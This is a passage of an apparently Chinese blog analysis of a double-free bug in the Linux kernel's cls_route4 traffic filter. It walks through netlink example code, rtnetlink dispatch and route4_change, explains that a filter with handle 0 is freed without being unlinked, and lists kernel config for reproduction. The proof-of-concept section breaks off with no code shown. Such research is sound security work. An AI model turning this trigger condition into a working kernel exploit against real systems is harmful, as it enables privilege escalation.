if(-1 == bind(sock_fd, (struct sockaddr*)&dest_addr, sizeof(dest_addr))){
perror("can't bind sockfd with sockaddr_nl!");
return 1;
}
if(NULL == (nlh=(struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_PAYLOAD)))){
perror("alloc mem failed!");
return 1;
}

memset(nlh,0,MAX_PAYLOAD);
/* 填充Netlink消息头部 */
nlh->nlmsg_len = NLMSG_SPACE(MAX_PAYLOAD);
`nlh->nlmsg_pid = getpid();//我们希望得到内核回应,所以得告诉内核我们ID号`
nlh->nlmsg_type = NLMSG_NOOP; //指明我们的Netlink是消息负载是一条空消息
nlh->nlmsg_flags = 0;

/*设置Netlink的消息内容,来自我们命令行输入的第一个参数*/
strcpy(NLMSG_DATA(nlh), argv[1]);

/*这个是模板,暂时不用纠结为什么要这样用。*/
memset(&iov, 0, sizeof(iov));
iov.iov_base = (void *)nlh;
iov.iov_len = nlh->nlmsg_len;
memset(&msg, 0, sizeof(msg));
msg.msg_iov = &iov;
msg.msg_iovlen = 1;

sendmsg(sock_fd, &msg, 0); //通过Netlink socket向内核发送消息

//接收内核消息的消息
printf("waiting message from kernel!\n");
memset((char*)NLMSG_DATA(nlh),0,1024);
recvmsg(sock_fd,&msg,0);
printf("Got response: %s\n",NLMSG_DATA(nlh));

/* 关闭netlink套接字 */
close(sock_fd);
free(nlh);
return 0;
}

内核态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/skbuff.h>
#include <linux/init.h>
#include <linux/ip.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <net/sock.h>
#include <net/netlink.h> /*该文头文件里包含了linux/netlink.h,因为我们要用到net/netlink.h中的某些API函数,nlmsg_put()*/

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Koorey King");

struct sock *nl_sk = NULL;
//向用户空间发送消息的接口
void sendnlmsg(char *message,int dstPID)
{
struct sk_buff *skb;
struct nlmsghdr *nlh;
int len = NLMSG_SPACE(MAX_MSGSIZE);
int slen = 0;

if(!message || !nl_sk){
return;
}

// 为新的 sk_buffer申请空间
skb = alloc_skb(len, GFP_KERNEL);
if(!skb){
printk(KERN_ERR "my_net_link: alloc_skb Error./n");
return;
}

slen = strlen(message)+1;

//用nlmsg_put()来设置netlink消息头部
nlh = nlmsg_put(skb, 0, 0, 0, MAX_MSGSIZE, 0);

// 设置Netlink的控制块
NETLINK_CB(skb).pid = 0; // 消息发送者的id标识,如果是内核发的则置0
NETLINK_CB(skb).dst_group = 0; //如果目的组为内核或某一进程,该字段也置0

message[slen] = '\0';
memcpy(NLMSG_DATA(nlh), message, slen+1);

//通过netlink_unicast()将消息发送用户空间由dstPID所指定了进程号的进程
netlink_unicast(nl_sk,skb,dstPID,0);
printk("send OK!\n");
return;
}

static void nl_data_ready (struct sock *sk, int len)
{
struct sk_buff *skb;
struct nlmsghdr *nlh = NULL;

while((skb = skb_dequeue(&sk->sk_receive_queue)) != NULL)
{
nlh = (struct nlmsghdr *)skb->data;
printk("%s: received netlink message payload: %s \n", __FUNCTION__, (char*)NLMSG_DATA(nlh));
sendnlmsg("I see you",nlh->nlmsg_pid); //发送者的进程ID我们已经将其存储在了netlink消息头部里的nlmsg_pid字段里,所以这里可以拿来用。
kfree_skb(skb);
}
printk("recvied finished!\n");
}

static int __init myinit_module()
{
printk("my netlink in\n");
nl_sk = netlink_kernel_create(NETLINK_TEST,0,nl_data_ready,THIS_MODULE);
return 0;
}

static void __exit mycleanup_module()
{
printk("my netlink out!\n");
sock_release(nl_sk->sk_socket);
}

module_init(myinit_module);
module_exit(mycleanup_module);

linux流量控制

概念理解

在概念上有了一个大致了解,但不多,在Linux中要实现对数据包接收和发送的这些控制行为,需要使用队列结构来临时保存数据包。在Linux实现中,把这种包括数据结构和算法实现的控制机制抽象为结构队列规程:Queuing discipline,简称为qdiscqdisc对外暴露两个回调接口enqueuedequeue分别用于数据包入队和数据包出队,而具体的排队算法实现则在qdisc内部隐藏。不同的qdisc实现在Linux内核中实现为不同的内核模块。

qdisc的实现可以非常简单,比如只包含单个队列,数据包先进先出,如: pfifo, 代码位于net/sched/sch_fifo.c。也可以实现相当复杂的调度逻辑。比如,可以根据数据包的属性进行过滤分类,而针对不同的分类:class采用不同的算法来进行处理。class可以理解为qdisc的载体,它还可以包含子类与qdisc。用来实现过滤逻辑的组件叫做filter,也叫做分类器classfier, 它需要挂载在qdisc或者class上。

基于qdisc, classfilter种三元素可以构建出非常复杂的树形qdisc结构,极大扩展流量控制的能力。

对于树形结构的qdisc, 当数据包流程最顶层qdisc时,会层层向下递归进行调用。如,父对象(qdisc/class)的enqueue回调接口被调用时,其上所挂载的所有filter依次被调用,直到一个filter匹配成功。然后将数据包入队到filter所指向的class,具体实现则是调用class所配置的Qdiscenqueue函数。没有成功匹配filter的数据包分类到默认的class中。

img

相关数据结构

详情查看https://blog.csdn.net/xiaoyu_750516366/article/details/121177872

系统资源控制

每一个进程都有自己的一组资源限制,在(*)inux系统中我们可以通过

1
2
int getrlimit(int resource, struct rlimit *rlim);
int setrlimit(int resource, const struct rlimit *rlim);

resource:可能的选择有

RLIMIT_AS //进程的最大虚内存空间,字节为单位。
RLIMIT_CORE //内核转存文件的最大长度。
RLIMIT_CPU //最大允许的CPU使用时间,秒为单位。当进程达到软限制,内核将给其发送SIGXCPU信号,这一信号的默认行为是终止进程的执行。然而,可以捕捉信号,处理句柄可将控制返回给主程序。如果进程继续耗费CPU时间,核心会以每秒一次的频率给其发送SIGXCPU信号,直到达到硬限制,那时将给进程发送 SIGKILL信号终止其执行。
RLIMIT_DATA //进程数据段的最大值。
RLIMIT_FSIZE //进程可建立的文件的最大长度。如果进程试图超出这一限制时,核心会给其发送SIGXFSZ信号,默认情况下将终止进程的执行。
RLIMIT_LOCKS //进程可建立的锁和租赁的最大值。
RLIMIT_MEMLOCK //进程可锁定在内存中的最大数据量,字节为单位。
RLIMIT_MSGQUEUE //进程可为POSIX消息队列分配的最大字节数。
RLIMIT_NICE //进程可通过setpriority() 或 nice()调用设置的最大完美值。
RLIMIT_NOFILE //指定比进程可打开的最大文件描述词大一的值,超出此值,将会产生EMFILE错误。
RLIMIT_NPROC //用户可拥有的最大进程数。
RLIMIT_RTPRIO //进程可通过sched_setscheduler 和 sched_setparam设置的最大实时优先级。
RLIMIT_SIGPENDING //用户可拥有的最大挂起信号数。
RLIMIT_STACK //最大的进程堆栈,以字节为单位。

这2个API来取得和设置资源
getrlimit用来取得setrlimit用来设置 这二个参数都需要一个要控制的资源 比如控制CPU、内存、文件描述符个数等等的控制,作为第一个参数传入,第二个参数是一个rlimit的结构体地址(指针),他的结构如下定义:
定义放在头文件/usr/include/bits/resource.h中

1
2
3
4
5
6
7
struct rlimit
{
/* The current (soft) limit. */
rlim_t rlim_cur;
/* The hard limit. */
rlim_t rlim_max;
};

结构体中 rlim_cur是要取得或设置的资源软限制的值,rlim_max是硬限制
这两个值的设置有一个小的约束:
1) 任何进程可以将软限制改为小于或等于硬限制
2) 任何进程都可以将硬限制降低,但普通用户降低了就无法提高,该值必须等于或大于软限制
3) 只有超级用户可以提高硬限制
一个无限的限制由常量RLIM_INFINITY指定(The value RLIM_INFINITY denotes no limit on a resource )

漏洞模块rtnetlink分析

netlink机制有很多协议,每个协议处理不同的事情,rtnetlink就是netlink的其中一个协议,下面就是netlink协议的一些宏定义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#define NETLINK_ROUTE        0    /* Routing/device hook                */
#define NETLINK_UNUSED 1 /* Unused number */
#define NETLINK_USERSOCK 2 /* Reserved for user mode socket protocols */
#define NETLINK_FIREWALL 3 /* Firewalling hook */
#define NETLINK_INET_DIAG 4 /* INET socket monitoring */
#define NETLINK_NFLOG 5 /* netfilter/iptables ULOG */
#define NETLINK_XFRM 6 /* ipsec */
#define NETLINK_SELINUX 7 /* SELinux event notifications */
#define NETLINK_ISCSI 8 /* Open-iSCSI */
#define NETLINK_AUDIT 9 /* auditing */
#define NETLINK_FIB_LOOKUP 10
#define NETLINK_CONNECTOR 11
#define NETLINK_NETFILTER 12 /* netfilter subsystem */
#define NETLINK_IP6_FW 13
#define NETLINK_DNRTMSG 14 /* DECnet routing messages */
#define NETLINK_KOBJECT_UEVENT 15 /* Kernel messages to userspace */
#define NETLINK_GENERIC 16
/* leave room for NETLINK_DM (DM Events) */
#define NETLINK_SCSITRANSPORT 18 /* SCSI Transports */
#define NETLINK_ECRYPTFS 19
#define NETLINK_TEST 20 /* 用户添加的自定义协议 */

每种协议处理不同的事情,那rtnetlink是干什么的呢,在我的初步了解中,rtnetlink主要可以更改和获取内核的一些网络配置,比如说网络路由、IP地址、链接参数、邻居设置、排队规则、流量类别和数据包分类器都可以通NETLINK_ROUTE套接字进行控制。

rtnetlink主要由以下消息类型组成

  • RTM_NEWLINK、RTM_DELLINK、RTM_GETLINK创建、删除或获取有关特定网络接口的信息。
  • RTM_NEWADDR、RTM_DELADDR、RTM_GETADDR添加、删除或接收有关与接口关联的IP地址的信息。
  • RTM_NEWROUTE、RTM_DELROUTE、RTM_GETROUTE创建、删除或接收有关网络路由的信息。
  • RTM_NEWNEIGH、RTM_DELNEIGH、RTM_GETNEIGH添加、删除或接收有关邻居表条目的信息(例如,ARP条目)。
  • RTM_NEWRULE、RTM_DELRULE、RTM_GETRULE添加、删除或检索路由规则。
  • RTM_NEWQDISC、RTM_DELQDISC、RTM_GETQDISC添加、删除或获取排队规则。
  • RTM_NEWTCLASS、RTM_DELTCLASS、RTM_GETTCLASS添加、删除或获取流量类别。
  • RTM_NEWTFILTER, RTM_DELTFILTER, RTM_GETTFILTER添加、删除或接收有关流量过滤器的信息。

rtnetlink相关代码分析

使用NETLINK_ROUTE就可以和rtnetlink进行通信了,rtnetlink有不同的消息类型,不同的消息类型也有不同的type,所以rtnetlink进行初始化的时候就会针对不同情况注册不同的操作函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void __init rtnetlink_init(void)
{
if (register_pernet_subsys(&rtnetlink_net_ops))
panic("rtnetlink_init: cannot initialize rtnetlink\n");

register_netdevice_notifier(&rtnetlink_dev_notifier);

rtnl_register(PF_UNSPEC, RTM_GETLINK, rtnl_getlink,
rtnl_dump_ifinfo, 0);
rtnl_register(PF_UNSPEC, RTM_SETLINK, rtnl_setlink, NULL, 0);
rtnl_register(PF_UNSPEC, RTM_NEWLINK, rtnl_newlink, NULL, 0);
rtnl_register(PF_UNSPEC, RTM_DELLINK, rtnl_dellink, NULL, 0);

rtnl_register(PF_UNSPEC, RTM_GETADDR, NULL, rtnl_dump_all, 0);
rtnl_register(PF_UNSPEC, RTM_GETROUTE, NULL, rtnl_dump_all, 0);
rtnl_register(PF_UNSPEC, RTM_GETNETCONF, NULL, rtnl_dump_all, 0);

rtnl_register(PF_UNSPEC, RTM_NEWLINKPROP, rtnl_newlinkprop, NULL, 0);
rtnl_register(PF_UNSPEC, RTM_DELLINKPROP, rtnl_dellinkprop, NULL, 0);

rtnl_register(PF_BRIDGE, RTM_NEWNEIGH, rtnl_fdb_add, NULL, 0);
rtnl_register(PF_BRIDGE, RTM_DELNEIGH, rtnl_fdb_del, NULL, 0);
rtnl_register(PF_BRIDGE, RTM_GETNEIGH, rtnl_fdb_get, rtnl_fdb_dump, 0);

rtnl_register(PF_BRIDGE, RTM_GETLINK, NULL, rtnl_bridge_getlink, 0);
rtnl_register(PF_BRIDGE, RTM_DELLINK, rtnl_bridge_dellink, NULL, 0);
rtnl_register(PF_BRIDGE, RTM_SETLINK, rtnl_bridge_setlink, NULL, 0);

rtnl_register(PF_UNSPEC, RTM_GETSTATS, rtnl_stats_get, rtnl_stats_dump,
0);
rtnl_register(PF_UNSPEC, RTM_SETSTATS, rtnl_stats_set, NULL, 0);
}

主要就是调用了rtnl_register()函数。

1
2
3
4
5
6
7
8
9
10
11
12
void rtnl_register(int protocol, int msgtype,
rtnl_doit_func doit, rtnl_dumpit_func dumpit,
unsigned int flags)
{
int err;

err = rtnl_register_internal(NULL, protocol, msgtype, doit, dumpit,
flags);
if (err)
pr_err("Unable to register rtnetlink message handler, "
"protocol = %d, message type = %d\n", protocol, msgtype);
}

通过rtnl_register()函数声明可见不同消息类型的不同type有两种操作,一种是doit,一种是dumpit。有的类型这两种操作都有,有的类型只有一种。

rtnl_register()函数中又调用了rtnl_register_internal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
static int rtnl_register_internal(struct module *owner,
int protocol, int msgtype,
rtnl_doit_func doit, rtnl_dumpit_func dumpit,
unsigned int flags)
{
struct rtnl_link *link, *old;
struct rtnl_link __rcu **tab;
int msgindex;
int ret = -ENOBUFS;

BUG_ON(protocol < 0 || protocol > RTNL_FAMILY_MAX);
msgindex = rtm_msgindex(msgtype);

rtnl_lock();
tab = rtnl_dereference(rtnl_msg_handlers[protocol]);
if (tab == NULL) {
tab = kcalloc(RTM_NR_MSGTYPES, sizeof(void *), GFP_KERNEL);
if (!tab)
goto unlock;

/* ensures we see the 0 stores */
rcu_assign_pointer(rtnl_msg_handlers[protocol], tab);
}

old = rtnl_dereference(tab[msgindex]);
if (old) {
link = kmemdup(old, sizeof(*old), GFP_KERNEL);
if (!link)
goto unlock;
} else {
link = kzalloc(sizeof(*link), GFP_KERNEL);
if (!link)
goto unlock;
}

WARN_ON(link->owner && link->owner != owner);
link->owner = owner;

WARN_ON(doit && link->doit && link->doit != doit);
if (doit)
link->doit = doit;
WARN_ON(dumpit && link->dumpit && link->dumpit != dumpit);
if (dumpit)
link->dumpit = dumpit;

link->flags |= flags;

/* publish protocol:msgtype */
rcu_assign_pointer(tab[msgindex], link);
ret = 0;
if (old)
kfree_rcu(old, rcu);
unlock:
rtnl_unlock();
return ret;
}

涉及到的结构体如下

1
2
3
4
5
6
7
struct rtnl_link {
rtnl_doit_func doit;
rtnl_dumpit_func dumpit;
struct module *owner;
unsigned int flags;
struct rcu_head rcu;
};

有个全局指针数组static struct rtnl_link __rcu *__rcu *rtnl_msg_handlers[RTNL_FAMILY_MAX + 1];,他其实是一个二重指针,第一重指针的下标是消息类型,第二重下标是消息的type,所以每一个消息类型的每一个type都对应一个struct rtnl_link结构体。

除了rtnetlink_init会注册消息的操作之外,tc_filter_init也会注册一些消息的操作,其中RTM_NEWTFILTER这个类型就是添加一个流量过滤器,他只有doit操作,函数为tc_new_tfilter().

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static int __init tc_filter_init(void)
{
int err;

tc_filter_wq = alloc_ordered_workqueue("tc_filter_workqueue", 0);
if (!tc_filter_wq)
return -ENOMEM;

err = register_pernet_subsys(&tcf_net_ops);
if (err)
goto err_register_pernet_subsys;

rtnl_register(PF_UNSPEC, RTM_NEWTFILTER, tc_new_tfilter, NULL,
RTNL_FLAG_DOIT_UNLOCKED);
rtnl_register(PF_UNSPEC, RTM_DELTFILTER, tc_del_tfilter, NULL,
RTNL_FLAG_DOIT_UNLOCKED);
rtnl_register(PF_UNSPEC, RTM_GETTFILTER, tc_get_tfilter,
tc_dump_tfilter, RTNL_FLAG_DOIT_UNLOCKED);
rtnl_register(PF_UNSPEC, RTM_NEWCHAIN, tc_ctl_chain, NULL, 0);
rtnl_register(PF_UNSPEC, RTM_DELCHAIN, tc_ctl_chain, NULL, 0);
rtnl_register(PF_UNSPEC, RTM_GETCHAIN, tc_ctl_chain,
tc_dump_chain, 0);

return 0;

err_register_pernet_subsys:
destroy_workqueue(tc_filter_wq);
return err;
}

现在稍微理清了每个消息类型的每个type如何在内核中组织存储,那该如何调用这些消息的操作函数呢,比如说RTM_NEWTFILTEdoit.

当用户进程通过NETLINK_ROUTE创建套接字并且发送RTM_NEWTFILTER消息用于创建一个流量过滤器时,内核会调用rtnetlink_rcv_msg()函数来处理rtnetlink消息。

struct nlmsghdr *nlh这个结构体在学习netlink的时候就已经见过了,其中family就是消息类型也就是protocol,type就是msgtype,然后调用link = rtnl_get_link(family, type);获得对应的link.获得了link后就调用link->doit()函数,进而调用到了tc_new_tfilter()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
static int rtnetlink_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh,
struct netlink_ext_ack *extack)
{
struct net *net = sock_net(skb->sk);
struct rtnl_link *link;
struct module *owner;
int err = -EOPNOTSUPP;
rtnl_doit_func doit;
unsigned int flags;
int kind;
int family;
int type;

type = nlh->nlmsg_type;
if (type > RTM_MAX)
return -EOPNOTSUPP;

type -= RTM_BASE;

/* All the messages must have at least 1 byte length */
if (nlmsg_len(nlh) < sizeof(struct rtgenmsg))
return 0;

family = ((struct rtgenmsg *)nlmsg_data(nlh))->rtgen_family;
kind = type&3;

if (kind != 2 && !netlink_net_capable(skb, CAP_NET_ADMIN))
return -EPERM;

rcu_read_lock();
if (kind == 2 && nlh->nlmsg_flags&NLM_F_DUMP) {
struct sock *rtnl;
rtnl_dumpit_func dumpit;
u32 min_dump_alloc = 0;

link = rtnl_get_link(family, type);
if (!link || !link->dumpit) {
family = PF_UNSPEC;
link = rtnl_get_link(family, type);
if (!link || !link->dumpit)
goto err_unlock;
}
owner = link->owner;
dumpit = link->dumpit;

if (type == RTM_GETLINK - RTM_BASE)
min_dump_alloc = rtnl_calcit(skb, nlh);

err = 0;
/* need to do this before rcu_read_unlock() */
if (!try_module_get(owner))
err = -EPROTONOSUPPORT;

rcu_read_unlock();

rtnl = net->rtnl;
if (err == 0) {
struct netlink_dump_control c = {
.dump = dumpit,
.min_dump_alloc = min_dump_alloc,
.module = owner,
};
err = netlink_dump_start(rtnl, skb, nlh, &c);
/* netlink_dump_start() will keep a reference on
* module if dump is still in progress.
*/
module_put(owner);
}
return err;
}

link = rtnl_get_link(family, type);
if (!link || !link->doit) {
family = PF_UNSPEC;
link = rtnl_get_link(PF_UNSPEC, type);
if (!link || !link->doit)
goto out_unlock;
}

owner = link->owner;
if (!try_module_get(owner)) {
err = -EPROTONOSUPPORT;
goto out_unlock;
}

flags = link->flags;
if (flags & RTNL_FLAG_DOIT_UNLOCKED) {
doit = link->doit;
rcu_read_unlock();
if (doit)
err = doit(skb, nlh, extack);
module_put(owner);
return err;
}
rcu_read_unlock();

rtnl_lock();
link = rtnl_get_link(family, type);
if (link && link->doit)
err = link->doit(skb, nlh, extack);
rtnl_unlock();

module_put(owner);

return err;

out_unlock:
rcu_read_unlock();
return err;

err_unlock:
rcu_read_unlock();
return -EOPNOTSUPP;
}

下面继续分析tc_new_tfilter()函数,这个函数代码较多就不摆出来了,主要看一下关键代码

在看关键代码之前首先要搞清楚一个数据结构

1
2
3
4
struct nlattr {
__u16 nla_len;
__u16 nla_type;
};

这个是netlink一般的数据段格式,图示如下。

T5

一个nlattr+value就相当于一个数据段的字段了。其中length是nlattr+value的总长度。tc_new_tfilter()函数首先初始化了变量struct nlattr *tca[TCA_MAX + 1],他是一个结构体指针数组。数组中的每个指针都指向了一个用户进程传进来的字段的首地址。

获取每一个字段之后,后面就是对字段的解析了,首先是从字段中获取过滤器的名字

1
2
3
4
5
if (tcf_proto_check_kind(tca[TCA_KIND], name)) {
NL_SET_ERR_MSG(extack, "Specified TC filter name too long");
err = -EINVAL;
goto errout;
}

然后是根据chainidx(可控)获取chain,然后根据chain获取一个tp(struct tcf_proto),

1
2
3
4
5
6
7
tp = tcf_chain_tp_find(chain, &chain_info, protocol,
prio, prio_allocate);
if (IS_ERR(tp)) {
NL_SET_ERR_MSG(extack, "Filter with specified priority/protocol not found");
err = PTR_ERR(tp);
goto errout_locked;
}

如果tp不存在还会根据过滤器名称name调用tcf_proto_create(创建一个新的tp

1
2
3
4
5
6
tp_new = tcf_proto_create(name, protocol, prio, chain,
rtnl_held, extack);
if (IS_ERR(tp_new)) {
err = PTR_ERR(tp_new);
goto errout_tp;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static struct tcf_proto *tcf_proto_create(const char *kind, u32 protocol,
u32 prio, struct tcf_chain *chain,
bool rtnl_held,
struct netlink_ext_ack *extack)
{
struct tcf_proto *tp;
int err;

tp = kzalloc(sizeof(*tp), GFP_KERNEL);
if (!tp)
return ERR_PTR(-ENOBUFS);

tp->ops = tcf_proto_lookup_ops(kind, rtnl_held, extack);
if (IS_ERR(tp->ops)) {
err = PTR_ERR(tp->ops);
goto errout;
}
tp->classify = tp->ops->classify;
tp->protocol = protocol;
tp->prio = prio;
tp->chain = chain;
spin_lock_init(&tp->lock);
refcount_set(&tp->refcnt, 1);

err = tp->ops->init(tp);
if (err) {
module_put(tp->ops->owner);
goto errout;
}
return tp;

errout:
kfree(tp);
return ERR_PTR(err);
}

tcf_proto_create()中会根据namekind调用函数tcf_proto_lookup_ops()获得对应的ops,内核本来就有一些ops,查找对应ops的原理就是对比kind==ops->kind,如果等于那就返回这个ops的首地址。

比如如果传入的kind="route"就会返回这样的ops

1
2
3
4
5
6
7
8
9
10
11
12
13
static struct tcf_proto_ops cls_route4_ops __read_mostly = {
.kind = "route",
.classify = route4_classify,
.init = route4_init,
.destroy = route4_destroy,
.get = route4_get,
.change = route4_change,
.delete = route4_delete,
.walk = route4_walk,
.dump = route4_dump,
.bind_class = route4_bind_class,
.owner = THIS_MODULE,
};

然后初始化tp的一些字段。

最后调用tp->ops->initroute4_init函数,这个函数创建了一个rout4_head结构体用于存放过滤器对应的哈希值

1
2
3
4
5
6
7
8
9
10
11
static int route4_init(struct tcf_proto *tp)
{
struct route4_head *head;

head = kzalloc(sizeof(struct route4_head), GFP_KERNEL);
if (head == NULL)
return -ENOBUFS;

rcu_assign_pointer(tp->root, head);
return 0;
}
1
2
3
4
5
struct route4_head {
struct route4_fastmap fastmap[16];
struct route4_bucket __rcu *table[256 + 1];
struct rcu_head rcu;
};

然后返回到tc_new_tfilter函数中,把新创建并且初始化的tp插入到chain

1
2
3
4
5
6
7
8
9
tp = tcf_chain_tp_insert_unique(chain, tp_new, protocol, prio,
rtnl_held);
if (IS_ERR(tp)) {
err = PTR_ERR(tp);
goto errout_tp;
}
} else {
mutex_unlock(&chain->filter_chain_lock);
}

然后调用tp->ops->getroute4_get()

根据handle从route4_head链表中获取对应的route4_filter。如果为空且n->nlmsg_flags & NLM_F_CREATE)存在或者不为空但n->nlmsg_flags & NLM_F_CREATE)不存在则调用tp->ops->changerout4_change创建

1
2
3
4
5
6
7
8
9
10
err = tp->ops->change(net, skb, tp, cl, t->tcm_handle, tca, &fh,
flags, extack);
if (err == 0) {
tfilter_notify(net, skb, n, tp, block, q, parent, fh,
RTM_NEWTFILTER, false, rtnl_held);
tfilter_put(tp, fh);
/* q pointer is NULL for shared blocks */
if (q)
q->flags &= ~TCQ_F_CAN_BYPASS;
}

rout4_change()就是漏洞产生的模块。

硬着头皮看了半个晚上的代码终于大概搞懂了相关的结构体的关系以及漏洞原因。

首先是有一个结构体chain,这个结构体记录了一个tp的链表,然后tc_new_tfilter()函数根据用户传进来的一些参数确定一个tp如果找不到这个tp那就创建一个新的tp,关键的是还会创建一个新的route4_head,记录在这个新tp的字段里,这个route4_head就是一个哈希桶,主要记录route4_filter结构体,route4_head结构体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct route4_head {
struct route4_fastmap fastmap[16];
struct route4_bucket __rcu *table[256 + 1];
struct rcu_head rcu;
};
struct route4_bucket {
/* 16 FROM buckets + 16 IIF buckets + 1 wildcard bucket */
struct route4_filter __rcu *ht[16 + 16 + 1];
struct rcu_head rcu;
};

struct route4_filter {
struct route4_filter __rcu *next;
u32 id;
int iif;

struct tcf_result res;
struct tcf_exts exts;
u32 handle;
struct route4_bucket *bkt;
struct tcf_proto *tp;
struct rcu_work rwork;
};

可以清晰的看见就是一个哈希桶,tp->ops->get()是会根据用户传入的handle找对应route4_filter,找到的话返回,没找到返回null

接着调用tp->ops->change()函数,把get()函数找到的旧的过滤器也传入,change首先是会把新的过滤器插入到哈希桶即route4_head中,接着判断旧的过滤器fold是否存在,如果存在的话先把她从哈希桶中移出来,然后把他kfree掉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
static int route4_change(struct net *net, struct sk_buff *in_skb,
struct tcf_proto *tp, unsigned long base, u32 handle,
struct nlattr **tca, void **arg, u32 flags,
struct netlink_ext_ack *extack)
{
struct route4_head *head = rtnl_dereference(tp->root);
struct route4_filter __rcu **fp;
struct route4_filter *fold, *f1, *pfp, *f = NULL;
struct route4_bucket *b;
struct nlattr *opt = tca[TCA_OPTIONS];
struct nlattr *tb[TCA_ROUTE4_MAX + 1];
unsigned int h, th;
int err;
bool new = true;

if (opt == NULL)
return handle ? -EINVAL : 0;

err = nla_parse_nested_deprecated(tb, TCA_ROUTE4_MAX, opt,
route4_policy, NULL);
if (err < 0)
return err;

fold = *arg;
if (fold && handle && fold->handle != handle)
return -EINVAL;

err = -ENOBUFS;
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);
if (!f)
goto errout;

err = tcf_exts_init(&f->exts, net, TCA_ROUTE4_ACT, TCA_ROUTE4_POLICE);
if (err < 0)
goto errout;

if (fold) {
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;

f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}

err = route4_set_parms(net, tp, base, f, handle, head, tb,
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;

h = from_hash(f->handle >> 16);
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;

tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);

if (fold && fold->handle && f->handle != fold->handle) {
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next);
break;
}
}
}
}

route4_reset_fastmap(head);
*arg = f;
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
return 0;

errout:
if (f)
tcf_exts_destroy(&f->exts);
kfree(f);
return err;
}

漏洞原理

关键文件就是出在了route4_change中把旧的过滤器即struct route4_filter结构体从哈希桶中移出来,然后把他kfree掉,但是看关键代码,首先使用if判断这个这个fold是否存在以及他的handle是否存在,还要满足f->handle != fold->handle才进入循环里从哈希桶中脱链,如果条件不满足那就进入下一个判断,这个判断只是判断fold是否存在,如果存在的话就表示旧的过滤器存在,然后把他kfree掉。

可见由于脱链时判断旧过滤器是否存在和kfree时判断旧过滤器是否存在的判断依据不一样,这就会导致歧义的出现。假设这样一种情况,旧过滤器的handle为0,就会导致这个旧的过滤器不会被脱链但是会被kfree。这就可以造成doublefree.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (fold && fold->handle && f->handle != fold->handle) {
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next);
break;
}
}
}
}

route4_reset_fastmap(head);
*arg = f;
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}

漏洞复现

环境搭建

首先是得把漏洞模块编译进入内核,其次还要勾上几个编译选项,这些编译选项最好不要直接在.config中进行修改,因为有些编译选项依赖于其他的编译选项,所以最好是在make menuconfig中进行修改,想要查找某一个编译选项在什么位置可以使用menuconifg的快捷键/进行搜索。

1
2
3
4
5
6
7
8
CONFIG_BINFMT_MISC=y
CONFIG_USER_NS=y
CONFIG_NET_CLS_ROUTE4=y
CONFIG_DUMMY=y CONFIG_NET_SCH_QFQ=y
CONFIG_NET_CLS_ACT=y CONFIG_NET_CLS_BASIC=y
CONFIG_NET_SCH_SFQ=y
CONFIG_NET_EMATCH_META=y
CONFIG_E1000=y CONFIG_E1000E=y

poc学习

poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
